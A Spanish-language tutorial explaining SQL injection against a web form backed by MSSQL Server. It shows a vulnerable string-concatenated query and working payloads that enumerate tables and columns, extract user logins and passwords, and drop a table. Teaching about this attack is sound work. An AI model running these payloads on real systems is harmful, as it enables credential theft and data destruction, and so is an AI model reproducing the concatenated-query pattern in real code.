En
esta ocasión vamos a hablar un poco de algo que tiene que ver
con problemas en las técnicas de programación cuando
hacemos acceso a una base de datos por medio de un formulario Web
(aunque esto también se utiliza en las aplicaciones de escritorio).
En estos ejemplos consultaremos un servidor MSSQL Server donde los
comentarios comienzan con doble guión (“—”)
pero esto afecta otros SMBD también.
Los ataques de inyección SQL que tienen éxito permiten
a los usuarios malintencionados ejecutar comandos en la base de datos
de la aplicación utilizando los privilegios concedidos en el
inicio de sesión de la aplicación. El problema es más
grave si la aplicación utiliza una cuenta con privilegios aumentados
para conectarse a la base de datos. Por ejemplo, si en el inicio de
sesión de la aplicación se conceden privilegios para
eliminar una base de datos, un intruso podría eliminarla en
caso de no disponer de las medidas de seguridad oportunas.
Entre las vulnerabilidades habituales que hacen que el código
de acceso a datos sea susceptible de ataques de inyección SQL
se incluyen: -Validación
de entradas débil.
-Construcción dinámica de instrucciones SQL sin utilizar
parámetros de tipo seguro.
-Uso de inicios de sesión en bases de datos con privilegios
aumentados
Por ejemplo, el desarrollador realiza una búsqueda de la
siguiente forma:
String
sql = “SELECT isbn,nombre,editorial,edición FROM [libros]
WHERE isbn='” + txtBusca.Text + “'”
Él
espera que el usuario ingrese el isbn para devolver (usualmente
en una tabla o Grid) las cuatro columnas del libro. Pero qué
pasa si en lugar del isbn ingresamos:
' UNION SELECT id, name, '', 0 FROM sysobjects WHERE xtype ='U'
--
La consulta
que se envía a la base de datos es la siguiente:
SELECT isbn,nombre,editorial,edición FROM [libros] WHERE
isbn='' UNION SELECT id, name, '', 0 FROM sysobjects WHERE xtype
='U' --'
Esto
nos devolverá el id y el nombre de las tablas en la base
de datos. Teniendo el id de la tabla (693577509 en este caso), podemos
saber sus columnas:
' UNION SELECT id, name, '', 0 FROM syscolumns WHERE id='693577509'
--
Y con
esto, puedo obtener la lista de usuarios, sus contraseñas
o cualquier otra información de la base de datos.
' UNION
SELECT 0, login, pass, 0 FROM usuarios --
También
podría crear o borrar tablas dependiendo de los permisos
del usuario en la base de datos con:
' DROP TABLE usuarios --
En la
siguiente entrega veremos cómo protegernos de estos ataques
SQL. |